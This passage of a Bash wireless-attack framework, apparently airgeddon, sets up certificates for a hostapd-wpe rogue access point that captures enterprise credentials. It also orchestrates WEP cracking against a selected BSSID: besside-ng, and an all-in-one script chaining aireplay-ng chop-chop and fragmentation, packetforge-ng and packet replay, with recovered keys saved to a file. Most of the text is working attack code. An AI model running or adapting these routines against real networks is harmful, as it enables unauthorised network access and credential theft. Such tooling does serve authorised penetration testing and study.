	echo -e "x509_extensions = v3_ca\n"
	echo -e "[certificate_authority]"
	echo -e "countryName = ${custom_certificates_country}"
	echo -e "stateOrProvinceName = ${custom_certificates_state}"
	echo -e "localityName = ${custom_certificates_locale}"
	echo -e "organizationName = ${custom_certificates_organization}"
	echo -e "emailAddress = ${custom_certificates_email}"
	echo -e "commonName = \"${custom_certificates_cn}\"\n"
	echo -e "[v3_ca]"
	echo -e "subjectKeyIdentifier = hash"
	echo -e "authorityKeyIdentifier = keyid:always,issuer:always"
	echo -e "basicConstraints = critical,CA:true"
	} >> "${tmpdir}${certsdir}ca.cnf"

	{
	echo -e "[ xpclient_ext ]"
	echo -e "extendedKeyUsage = 1.3.6.1.5.5.7.3.2\n"
	echo -e "[ xpserver_ext ]"
	echo -e "extendedKeyUsage = 1.3.6.1.5.5.7.3.1"
	} >> "${tmpdir}${certsdir}xpextensions"
}

#Manage the questions to decide if custom certificates are used
#shellcheck disable=SC2181
function custom_certificates_integration() {

	debug_print

	ask_yesno 645 "no"
	if [ "${yesno}" = "y" ]; then
		if [ -n "${enterprisecerts_completepath}" ]; then
			ask_yesno 646 "yes"
			if [ "${yesno}" = "y" ]; then
				read_certspath=0
			else
				read_certspath=1
			fi
		else
			read_certspath=1
		fi
		use_custom_certs=1
	else
		use_custom_certs=0
	fi

	echo
	if [ "${use_custom_certs}" -eq 1 ]; then
		if [ "${read_certspath}" -eq 0 ]; then
			hostapd_wpe_cert_path="${enterprisecerts_completepath}"
			hostapd_wpe_cert_pass="${certspass}"
			language_strings "${language}" 648 "yellow"
		else
			language_strings "${language}" 327 "green"
			echo -en '> '
			hostapd_wpe_cert_path=$(read -re _hostapd_wpe_cert_path; echo -n "${_hostapd_wpe_cert_path}")
			hostapd_wpe_cert_path=$(fix_autocomplete_chars "${hostapd_wpe_cert_path}")

			lastcharhostapd_wpe_cert_path=${hostapd_wpe_cert_path: -1}
			if [ "${lastcharhostapd_wpe_cert_path}" != "/" ]; then
				hostapd_wpe_cert_path="${hostapd_wpe_cert_path}/"
			fi

			firstcharhostapd_wpe_cert_path=${hostapd_wpe_cert_path:: 1}
			if [ "${firstcharhostapd_wpe_cert_path}" != "/" ]; then
				hostapd_wpe_cert_path="${scriptfolder}${hostapd_wpe_cert_path}"
			fi

			hostapd_wpe_cert_pass=""
			while [[ ! ${hostapd_wpe_cert_pass} =~ ^.{4,1023}$ ]]; do
				echo
				language_strings "${language}" 329 "green"
				read -rp "> " hostapd_wpe_cert_pass
			done
		fi
	else
		hostapd_wpe_cert_path="${default_certs_path}"
		hostapd_wpe_cert_pass="${default_certs_pass}"
		language_strings "${language}" 647 "yellow"
	fi

	echo
	language_strings "${language}" 649 "blue"
	echo

	local certsresult
	certsresult=$(validate_certificates "${hostapd_wpe_cert_path}" "${hostapd_wpe_cert_pass}")
	if [ "${certsresult}" = "0" ]; then
		language_strings "${language}" 650 "yellow"
		language_strings "${language}" 115 "read"
		return 0
	elif [ "${certsresult}" = "1" ]; then
		language_strings "${language}" 237 "red"
		language_strings "${language}" 115 "read"
		return 1
	elif [ "${certsresult}" = "2" ]; then
		language_strings "${language}" 326 "red"
		language_strings "${language}" 115 "read"
		return 1
	else
		language_strings "${language}" 330 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi
}

#Validate if certificates files are correct
function validate_certificates() {

	debug_print
	local certsresult
	certsresult=0

	if ! [ -f "${1}server.pem" ] || ! [ -r "${1}server.pem" ] || ! [ -f "${1}ca.pem" ] || ! [ -r "${1}ca.pem" ] || ! [ -f "${1}server.key" ] || ! [ -r "${1}server.key" ]; then
		certsresult=1
	else
		if ! openssl x509 -in "${1}server.pem" -inform "PEM" -checkend "0" > /dev/null 2>&1 || ! openssl x509 -in "${1}ca.pem" -inform "PEM" -checkend "0" > /dev/null 2>&1; then
			certsresult=2
		elif ! openssl rsa -in "${1}server.key" -passin "pass:${2}" -check > /dev/null 2>&1; then
			certsresult=3
		fi
	fi

	echo "${certsresult}"
}

#Create custom certificates
function create_custom_certificates() {

	debug_print

	echo
	language_strings "${language}" 642 "blue"

	openssl dhparam -out "${tmpdir}${certsdir}dh" 1024 > /dev/null 2>&1
	openssl req -new -out "${tmpdir}${certsdir}server.csr" -keyout "${tmpdir}${certsdir}server.key" -config "${tmpdir}${certsdir}server.cnf" > /dev/null 2>&1
	openssl req -new -x509 -keyout "${tmpdir}${certsdir}ca.key" -out "${tmpdir}${certsdir}ca.pem" -days 3650 -config "${tmpdir}${certsdir}ca.cnf" > /dev/null 2>&1
	touch "${tmpdir}${certsdir}index.txt" > /dev/null 2>&1
	echo '01' > "${tmpdir}${certsdir}serial" 2> /dev/null
	openssl ca -batch -keyfile "${tmpdir}${certsdir}ca.key" -cert "${tmpdir}${certsdir}ca.pem" -in "${tmpdir}${certsdir}server.csr" -key "${certspass}" -out "${tmpdir}${certsdir}server.crt" -extensions xpserver_ext -extfile "${tmpdir}${certsdir}xpextensions" -config "${tmpdir}${certsdir}server.cnf" > /dev/null 2>&1
	openssl pkcs12 -export -in "${tmpdir}${certsdir}server.crt" -inkey "${tmpdir}${certsdir}server.key" -out "${tmpdir}${certsdir}server.p12" -passin pass:${certspass} -passout pass:${certspass} > /dev/null 2>&1
	openssl pkcs12 -in "${tmpdir}${certsdir}server.p12" -out "${tmpdir}${certsdir}server.pem" -passin pass:${certspass} -passout pass:${certspass} > /dev/null 2>&1

	manage_enterprise_certs
	save_enterprise_certs
}

#Set up custom certificates
function custom_certificates_questions() {

	debug_print

	custom_certificates_country=""
	custom_certificates_state=""
	custom_certificates_locale=""
	custom_certificates_organization=""
	custom_certificates_email=""
	custom_certificates_cn=""

	local email_length_regex
	local email_special_chars_regex
	local email_domain_regex
	local regexp

	regexp="^[A-Za-z]{2}$"
	while [[ ! ${custom_certificates_country} =~ ${regexp} ]]; do
		read_certificates_data "country"
	done

	while [[ -z "${custom_certificates_state}" ]]; do
		read_certificates_data "state"
	done

	while [[ -z "${custom_certificates_locale}" ]]; do
		read_certificates_data "locale"
	done

	while [[ -z "${custom_certificates_organization}" ]]; do
		read_certificates_data "organization"
	done

	email_length_regex='.*{7,320}'
	email_special_chars_regex='\!\#\$\%\&\*\+\/\=\?\^\_\`\{\|\}\~\-'
	email_domain_regex='([[:alpha:]]([[:alnum:]\-]*[[:alnum:]])?)\.([[:alpha:]]([[:alnum:]\-]*[[:alnum:]])?\.)*[[:alpha:]]([[:alnum:]\-]*[[:alnum:]])?'
	regexp="^[[:alnum:]${email_special_chars_regex}]+(\.[[:alnum:]${email_special_chars_regex}]+)*[[:alnum:]${email_special_chars_regex}]*\@${email_domain_regex}$"
	while [[ ! ${custom_certificates_email} =~ ${regexp} ]] || [[ ! ${custom_certificates_email} =~ ${email_length_regex} ]]; do
		read_certificates_data "email"
	done

	regexp="^(\*|[[:alpha:]]([[:alnum:]\-]{0,61}[[:alnum:]])?)\.([[:alpha:]]([[:alnum:]\-]{0,61}[[:alnum:]])?\.)*[[:alpha:]]([[:alnum:]\-]{0,61}[[:alnum:]])?$"
	while [[ ! ${custom_certificates_cn} =~ ${regexp} ]]; do
		read_certificates_data "cn"
	done
}

#Read the user input on custom certificates questions
function read_certificates_data() {

	debug_print

	echo
	case "${1}" in
		"country")
			language_strings "${language}" 630 "green"
			read -rp "> " custom_certificates_country
			custom_certificates_country="${custom_certificates_country^^}"
		;;
		"state")
			language_strings "${language}" 631 "green"
			read -rp "> " custom_certificates_state
		;;
		"locale")
			language_strings "${language}" 632 "green"
			read -rp "> " custom_certificates_locale
		;;
		"organization")
			language_strings "${language}" 633 "green"
			read -rp "> " custom_certificates_organization
		;;
		"email")
			language_strings "${language}" 634 "green"
			read -rp "> " custom_certificates_email
			custom_certificates_email="${custom_certificates_email,,}"
		;;
		"cn")
			language_strings "${language}" 635 "green"
			read -rp "> " custom_certificates_cn
			custom_certificates_cn="${custom_certificates_cn,,}"
		;;
	esac
}

#Prepare enterprise identities capture and certificates analysis
function enterprise_identities_and_certitifcates_analysis() {

	debug_print

	if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
		echo
		language_strings "${language}" 125 "yellow"
		language_strings "${language}" 115 "read"
		if ! explore_for_targets_option "WPA" "enterprise"; then
			return 1
		fi
	fi

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if ! check_6ghz_thirdparty_tools_compatibility; then
		return 1
	fi

	if ! validate_network_encryption_type "WPA"; then
		return 1
	fi

	if ! validate_network_type "enterprise"; then
		return 1
	fi

	dos_info_gathering_enterprise_menu "${1}"
}

#Validate if selected network is the needed type (enterprise or personal)
function validate_network_type() {

	debug_print

	case ${1} in
		"personal")
			if [ "${personal_network_selected}" -eq 0 ]; then
				echo
				language_strings "${language}" 747 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		;;
		"enterprise")
			if [ "${enterprise_network_selected}" -eq 0 ]; then
				echo
				language_strings "${language}" 747 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		;;
	esac

	return 0
}

#Refresh target band id when possible without prompting
function refresh_target_band_id_if_needed() {

	debug_print

	local mode="${1}"

	if [ "${mode}" = "wps" ]; then
		if [ -n "${wps_target_band_id}" ] || [[ -z "${wps_channel}" ]] || [[ ! "${wps_channel}" =~ ^[0-9]+$ ]]; then
			return 0
		fi

		if [ "${wps_channel}" -le 14 ]; then
			if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [[ "${wps_channel}" =~ ^(1|5|9|13)$ ]]; then
				return 0
			fi
			wps_target_band_id="${band_24ghz}"
			return 0
		fi

		if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && contains_element "${wps_channel}" "${channels_5ghz_list[@]}" && contains_element "${wps_channel}" "${channels_6ghz_list[@]}"; then
			return 0
		fi

		if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [[ "${wps_channel}" =~ ^${valid_channels_6_ghz_regexp}$ ]]; then
			wps_target_band_id="${band_6ghz}"
		else
			wps_target_band_id="${band_5ghz}"
		fi
		return 0
	fi

	if [ -n "${target_band_id}" ] || [[ -z "${channel}" ]] || [[ ! "${channel}" =~ ^[0-9]+$ ]]; then
		return 0
	fi

	local scan_6ghz_allowed=0
	if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ -n "${scan_6ghz_enabled}" ] && [ "${scan_6ghz_enabled}" != "0" ]; then
		scan_6ghz_allowed=1
	fi

	if [ "${channel}" -le 14 ]; then
		if [ "${scan_6ghz_allowed}" -eq 1 ] && [[ "${channel}" =~ ^(1|5|9|13)$ ]]; then
			return 0
		fi
		target_band_id="${band_24ghz}"
		return 0
	fi

	if [ "${scan_6ghz_allowed}" -eq 1 ] && contains_element "${channel}" "${channels_5ghz_list[@]}" && contains_element "${channel}" "${channels_6ghz_list[@]}"; then
		return 0
	fi

	if [ "${scan_6ghz_allowed}" -eq 1 ] && [[ "${channel}" =~ ^${valid_channels_6_ghz_regexp}$ ]]; then
		target_band_id="${band_6ghz}"
	else
		target_band_id="${band_5ghz}"
	fi

	return 0
}

#Check target band support for a given interface
function check_target_band_supported_by_interface() {

	debug_print

	local interface_key="${1}"
	local band_id="${target_band_id}"
	if [ "${2}" = "wps" ]; then
		band_id="${wps_target_band_id}"
	fi

	if [ -z "${band_id}" ]; then
		refresh_target_band_id_if_needed "${2}"
		if [ "${2}" = "wps" ]; then
			band_id="${wps_target_band_id}"
		else
			band_id="${target_band_id}"
		fi
	fi

	if [ "${band_id}" = "${band_6ghz}" ] && [ "${interfaces_band_info["${interface_key},6Ghz_allowed"]}" -eq 0 ]; then
		echo
		language_strings "${language}" 515 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if [ "${band_id}" = "${band_5ghz}" ] && [ "${interfaces_band_info["${interface_key},5Ghz_allowed"]}" -eq 0 ]; then
		echo
		language_strings "${language}" 515 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	return 0
}

#Check 6Ghz support for attacks relying on third-party tools
function check_6ghz_thirdparty_tools_compatibility() {

	debug_print

	if ! check_target_band_supported_by_interface "main_wifi_interface"; then
		return 1
	fi

	if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${target_band_id}" = "${band_6ghz}" ]; then
		echo
		language_strings "${language}" 816 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	return 0
}

#Check 6Ghz compatibility for WPS third-party tools
function check_6ghz_wps_thirdparty_tools_compatibility() {

	debug_print

	if ! check_target_band_supported_by_interface "main_wifi_interface" "wps"; then
		return 1
	fi

	if [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ] && [ "${wps_target_band_id}" = "${band_6ghz}" ]; then
		echo
		language_strings "${language}" 816 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	return 0
}

#Validate a WPA3 network (any type or only in mixed mode)
function validate_wpa3_network() {

	debug_print

	local type

	if [ -z "${1}" ]; then
		type="wpa3_pure_and_wpa3_mixed"
	else
		type="${1}"
	fi

	if [ "${enc}" != "WPA3" ]; then
		echo
		if [ "${type}" = "wpa3_pure_and_wpa3_mixed"  ]; then
			language_strings "${language}" 759 "red"
		elif [ "${type}" = "only_mixed"  ]; then
			language_strings "${language}" 780 "red"
		fi

		language_strings "${language}" 115 "read"
		return 1
	else
		if [ "${type}" = "only_mixed"  ]; then
			if ! tshark -r "${2}" -Y "wlan.rsn.akms.type == 2 && wlan.rsn.akms.type == 8 && wlan.sa == ${bssid}" -T fields -e wlan.sa 2> /dev/null | grep -q .; then
				echo
				language_strings "${language}" 781 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		fi
	fi

	return 0
}

#Validate if selected network has the needed type of encryption
function validate_network_encryption_type() {

	debug_print

	case ${1} in
		"WPA"|"WPA2"|"WPA3")
			if [[ "${enc}" != "WPA" ]] && [[ "${enc}" != "WPA2" ]] && [[ "${enc}" != "WPA3" ]]; then
				echo
				language_strings "${language}" 137 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		;;
		"WEP")
			if [ "${enc}" != "WEP" ]; then
				echo
				language_strings "${language}" 424 "red"
				language_strings "${language}" 115 "read"
				return 1
			fi
		;;
	esac

	return 0
}

#Execute wep besside attack
#shellcheck disable=SC2164
function exec_wep_besside_attack() {

	debug_print

	echo
	language_strings "${language}" 33 "yellow"
	language_strings "${language}" 4 "read"

	prepare_wep_attack "besside"

	recalculate_windows_sizes
	pushd "${tmpdir}" > /dev/null 2>&1
	manage_output "-hold -bg \"#000000\" -fg \"#FF00FF\" -geometry ${g2_stdleft_window} -T \"WEP Besside-ng attack\"" "besside-ng -c \"${channel}\" -b \"${bssid}\" \"${interface}\" -v | tee \"${tmpdir}${wep_besside_log}\"" "WEP Besside-ng attack" "active"
	wait_for_process "besside-ng -c \"${channel}\" -b \"${bssid//:/ }\" \"${interface}\" -v" "WEP Besside-ng attack"
	popd "${tmpdir}" > /dev/null 2>&1

	manage_wep_besside_pot
}

#Execute wep all-in-one attack
#shellcheck disable=SC2164
function exec_wep_allinone_attack() {

	debug_print

	echo
	language_strings "${language}" 296 "yellow"
	language_strings "${language}" 115 "read"

	prepare_wep_attack "allinone"
	set_wep_script

	recalculate_windows_sizes
	bash "${tmpdir}${wep_attack_file}" > /dev/null 2>&1 &
	wep_script_pid=$!

	set_wep_key_script
	bash "${tmpdir}${wep_key_handler}" "${wep_script_pid}" > /dev/null 2>&1 &
	wep_key_script_pid=$!

	echo
	language_strings "${language}" 434 "yellow"
	language_strings "${language}" 115 "read"

	kill_wep_windows
}

#Kill the wep attack processes
function kill_wep_windows() {

	debug_print

	kill "${wep_script_pid}" &> /dev/null
	wait $! 2> /dev/null

	kill "${wep_key_script_pid}" &> /dev/null
	wait $! 2> /dev/null

	readarray -t WEP_PROCESSES_TO_KILL < <(cat < "${tmpdir}${wepdir}${wep_processes_file}" 2> /dev/null)
	for item in "${WEP_PROCESSES_TO_KILL[@]}"; do
		kill "${item}" &> /dev/null
	done

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		kill_tmux_windows
	fi
}

#Prepare wep attacks deleting temp files
function prepare_wep_attack() {

	debug_print

	if [ "${1}" = "allinone" ]; then
		rm -rf "${tmpdir}${wep_attack_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${wep_key_handler}" > /dev/null 2>&1
		rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1
		rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1
	else
		rm -rf "${tmpdir}${wep_besside_log}" > /dev/null 2>&1
		rm -rf "${tmpdir}wep.cap" > /dev/null 2>&1
		rm -rf "${tmpdir}wps.cap" > /dev/null 2>&1
		rm -rf "${tmpdir}besside.log" > /dev/null 2>&1
	fi
}

#Create here-doc bash script used for key handling on wep all-in-one and besside attacks
function set_wep_key_script() {

	debug_print

	exec 8>"${tmpdir}${wep_key_handler}"

	cat >&8 <<-EOF
		#!/usr/bin/env bash

		AIRGEDDON_WINDOWS_HANDLING="${AIRGEDDON_WINDOWS_HANDLING}"

		#Function to launch window using xterm/tmux
		function manage_output() {

			xterm_parameters="\${1}"
			tmux_command_line="\${2}"
			xterm_command_line="\"\${2}\""
			window_name="\${3}"
			command_tail=" > /dev/null 2>&1 &"

			case "\${AIRGEDDON_WINDOWS_HANDLING}" in
				"tmux")
					local tmux_color
					tmux_color=""
					[[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}"
					case "\${4}" in
						"active")
							start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" "active"
						;;
						*)
							start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}"
						;;
					esac
				;;
				"xterm")
					eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}"
				;;
			esac
		}

		#Start supporting scripts inside its own tmux window
		function start_tmux_processes() {

			window_name="\${1}"
			command_line="\${2}"
			tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null
			case "\${4}" in
				"active")
					tmux new-window -t "${session_name}:" -n "\${window_name}"
				;;
				*)
					tmux new-window -d -t "${session_name}:" -n "\${window_name}"
				;;
			esac
			local tmux_color_cmd
			if [ -n "\${3}" ]; then
				tmux_color_cmd="bg=#000000 fg=\${3}"
			else
				tmux_color_cmd="bg=#000000"
			fi
			tmux setw -t "\${window_name}" window-style "\${tmux_color_cmd}"
			tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER
		}

		wep_key_found=0

		#Check if the wep password was captured and manage to save it on a file
		function manage_wep_allinone_pot() {

			if [ -f "${tmpdir}${wepdir}wepkey.txt" ]; then
				wep_hex_key_cmd="cat \"${tmpdir}${wepdir}wepkey.txt\""
				wep_hex_key=\$(eval "\${wep_hex_key_cmd}")
				wep_ascii_key=\$(echo "\${wep_hex_key}" | awk 'RT{printf "%c", strtonum("0x"RT)}' RS='[0-9A-Fa-f]{2}')

				echo "" > "${weppotenteredpath}"
				{
				date +%Y-%m-%d
				echo -e "${wep_texts[${language},1]}"
				echo ""
				echo -e "BSSID: ${bssid}"
				echo -e "${wep_texts[${language},2]}: ${channel}"
				echo -e "ESSID: ${essid}"
				echo ""
				echo "---------------"
				echo ""
				echo -e "ASCII: \${wep_ascii_key}"
				echo -en "${wep_texts[${language},3]}:"
				echo -e " \${wep_hex_key}"
				echo ""
				echo "---------------"
				echo ""
				echo "${footer_texts[${language},0]}"
				} >> "${weppotenteredpath}"
			fi
		}

		#Kill the wep attack processes
		function kill_wep_script_windows() {

			readarray -t WEP_PROCESSES_TO_KILL < <(cat < "${tmpdir}${wepdir}${wep_processes_file}" 2> /dev/null)
			for item in "\${WEP_PROCESSES_TO_KILL[@]}"; do
				kill "\${item}" &> /dev/null
			done
		}
	EOF

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		cat >&8 <<-EOF
			#Function to kill tmux windows using window name
			function kill_tmux_windows() {

				local TMUX_WINDOWS_LIST=()
				local current_window_name
				readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:")
				for item in "\${TMUX_WINDOWS_LIST[@]}"; do
					[[ "\${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="\${BASH_REMATCH[1]}"
					if [ "\${current_window_name}" = "${tmux_main_window}" ]; then
						continue
					fi
					if [ -n "\${1}" ]; then
						if [ "\${current_window_name}" = "\${1}" ]; then
							continue
						fi
					fi
					tmux kill-window -t "${session_name}:\${current_window_name}"
				done
			}
		EOF
	fi

	cat >&8 <<-EOF
		while true; do
			sleep 1
			if [ -f "${tmpdir}${wepdir}wepkey.txt" ]; then
				wep_key_found=1
				break
			fi

			wep_script_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${1}$" 2> /dev/null)
			if [ -z "\${wep_script_alive}" ]; then
				break
			fi
		done

		if [ "\${wep_key_found}" -eq 1 ]; then
			manage_wep_allinone_pot
		fi

		kill_wep_script_windows
	EOF

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		cat >&8 <<-EOF
			kill_tmux_windows "WEP Key Decrypted"
		EOF
	fi

	cat >&8 <<-EOF
		rm -rf "${tmpdir}${wepdir}${wep_processes_file}"
		touch "${tmpdir}${wepdir}${wep_processes_file}" > /dev/null 2>&1
		if [ "\${wep_key_found}" -eq 1 ]; then
			wep_key_cmd="echo -e '\t${yellow_color}${wep_texts[${language},5]} ${white_color}// ${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${wep_texts[${language},2]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}'"
			wep_key_cmd+="&& echo"
			wep_key_cmd+="&& echo -e '\t${blue_color}${wep_texts[${language},4]}${normal_color}'"
			wep_key_cmd+="&& echo"
			wep_key_cmd+="&& echo -en '\t${blue_color}ASCII: ${normal_color}'"
			wep_key_cmd+="&& echo -en '\${wep_ascii_key}'"
			wep_key_cmd+="&& echo"
			wep_key_cmd+="&& echo -en '\t${blue_color}${wep_texts[${language},3]}: ${normal_color}'"
			wep_key_cmd+="&& echo -en '\${wep_hex_key}'"
			wep_key_cmd+="&& echo"
			wep_key_cmd+="&& echo"
			wep_key_cmd+="&& echo -e '\t${pink_color}${wep_texts[${language},6]}: [${normal_color}${weppotenteredpath}${pink_color}]${normal_color}'"
			wep_key_cmd+="&& echo"
			wep_key_cmd+="&& echo -e '\t${yellow_color}${wep_texts[${language},0]}'"

			window_position="${g5_topright_window}"
			sleep 0.5
			manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry \${window_position} -T \"WEP Key Decrypted\"" "clear;\${wep_key_cmd}" "WEP Key Decrypted" "active"
	EOF

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		cat >&8 <<-EOF
			wep_key_window_pid="\$!"
			{
				echo -e "\${wep_key_window_pid}"
			} >> "${tmpdir}${wepdir}${wep_processes_file}"
		EOF
	fi

	cat >&8 <<-EOF
		fi
	EOF
}

#Create here-doc bash script used for wep all-in-one attack
function set_wep_script() {

	debug_print

	current_mac=$(cat < "/sys/class/net/${interface}/address" 2> /dev/null)

	exec 6>"${tmpdir}${wep_attack_file}"

	cat >&6 <<-EOF
		#!/usr/bin/env bash

		AIRGEDDON_WINDOWS_HANDLING="${AIRGEDDON_WINDOWS_HANDLING}"
		global_process_pid=""

		#Function to launch window using xterm/tmux
		function manage_output() {

			xterm_parameters="\${1}"
			tmux_command_line="\${2}"
			xterm_command_line="\"\${2}\""
			window_name="\${3}"
			command_tail=" > /dev/null 2>&1 &"

			case "\${AIRGEDDON_WINDOWS_HANDLING}" in
				"tmux")
					local tmux_color
					tmux_color=""
					[[ "\${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="\${BASH_REMATCH[2]}"
					case "\${4}" in
						"active")
							start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}" "active"
						;;
						*)
							start_tmux_processes "\${window_name}" "clear;\${tmux_command_line}" "\${tmux_color}"
						;;
					esac
				;;
				"xterm")
					eval "xterm \${xterm_parameters} -e \${xterm_command_line}\${command_tail}"
				;;
			esac
		}

		#Start supporting scripts inside its own tmux window
		function start_tmux_processes() {

			window_name="\${1}"
			command_line="\${2}"
			tmux kill-window -t "${session_name}:\${window_name}" 2> /dev/null
			case "\${4}" in
				"active")
					tmux new-window -t "${session_name}:" -n "\${window_name}"
				;;
				*)
					tmux new-window -d -t "${session_name}:" -n "\${window_name}"
				;;
			esac

			local tmux_color_cmd
			if [ -n "\${3}" ]; then
				tmux_color_cmd="bg=#000000 fg=\${3}"
			else
				tmux_color_cmd="bg=#000000"
			fi

			tmux setw -t "\${window_name}" window-style "\${tmux_color_cmd}"
			tmux send-keys -t "${session_name}:\${window_name}" "\${command_line}" ENTER
		}

		#Function to capture PID of a process started inside tmux and setting it to a global variable
		#shellcheck disable=SC2009
		function get_tmux_process_id() {

			local process_pid
			local process_cmd_line
			process_cmd_line=\$(echo "\${1}" | tr -d '"')
			while [ -z "\${process_pid}" ]; do
				process_pid=\$(ps --no-headers aux | grep "\${process_cmd_line}" | grep -v "grep \${process_cmd_line}" | awk '{print \$2}')
			done
			global_process_pid="\${process_pid}"
		}

		#Function to kill tmux windows using window name
		function kill_tmux_window_by_name() {

			if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
				tmux kill-window -t "${session_name}:\${1}" 2> /dev/null
			fi
		}

		iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
		mkdir "${tmpdir}${wepdir}" > /dev/null 2>&1
		#shellcheck disable=SC2164
		pushd "${tmpdir}${wepdir}" > /dev/null 2>&1

		#Execute wep chop-chop attack on its different phases
		function wep_chopchop_attack() {

			case "\${wep_chopchop_phase}" in
				1)
					if grep -Ei "Now you can build a packet|Saving keystream" "${tmpdir}${wepdir}chopchop_output.txt" > /dev/null 2>&1; then
						wep_chopchop_phase=2
					else
						wep_chopchop_phase1_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_chopchop_phase1_pid}$" 2> /dev/null)
						if [[ "\${wep_chopchop_launched}" -eq 0 ]] || [[ -z "\${wep_chopchop_phase1_pid_alive}" ]]; then
							wep_chopchop_launched=1
							manage_output "+j -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (1/3)\"" "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" "Chop-Chop Attack (1/3)"

							if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
								get_tmux_process_id "aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface}"
								wep_chopchop_phase1_pid="\${global_process_pid}"
								global_process_pid=""
							else
								wep_chopchop_phase1_pid="\$!"
							fi

							wep_script_processes+=("\${wep_chopchop_phase1_pid}")
						fi
					fi
				;;
				2)
					kill_tmux_window_by_name "Chop-Chop Attack (1/3)"
					manage_output "+j -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (2/3)\"" "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" "Chop-Chop Attack (2/3)"

					if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
						wep_chopchop_phase2_pid="\$!"
					fi

					wep_script_processes+=("\${wep_chopchop_phase2_pid}")
					wep_chopchop_phase=3
					;;
				3)
					wep_chopchop_phase2_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_chopchop_phase2_pid}$" 2> /dev/null)
					if [[ -z "\${wep_chopchop_phase2_pid_alive}" ]] && [[ -f "${tmpdir}${wepdir}chopchop.cap" ]]; then
						kill_tmux_window_by_name "Chop-Chop Attack (2/3)"
						manage_output "-hold -bg \"#000000\" -fg \"#8B4513\" -geometry ${g5_left7} -T \"Chop-Chop Attack (3/3)\"" "yes | aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" "Chop-Chop Attack (3/3)"

						if [ "\${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
							get_tmux_process_id "aireplay-ng -2 -F -h ${current_mac} -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}"
							wep_script_processes+=("\${global_process_pid}")
							global_process_pid=""
						else
							wep_script_processes+=("\$!")
						fi

						wep_chopchop_phase=4
					fi
				;;
			esac
			write_wep_processes
		}

		#Execute wep fragmentation attack on its different phases
		function wep_fragmentation_attack() {

			case "\${wep_fragmentation_phase}" in
				1)
					if grep -i "Now you can build a packet" "${tmpdir}${wepdir}fragmentation_output.txt" > /dev/null 2>&1; then
						wep_fragmentation_phase=2
					else
						wep_fragmentation_phase1_pid_alive=\$(ps uax | awk '{print \$2}' | grep -E "^\${wep_fragmentation_phase1_pid}$" 2> /dev/null)
						if [[ "\${wep_fragmentation_launched}" -eq 0 ]] || [[ -z "\${wep_fragmentation_phase1_pid_alive}" ]]; then
							wep_fragmentation_launched=1
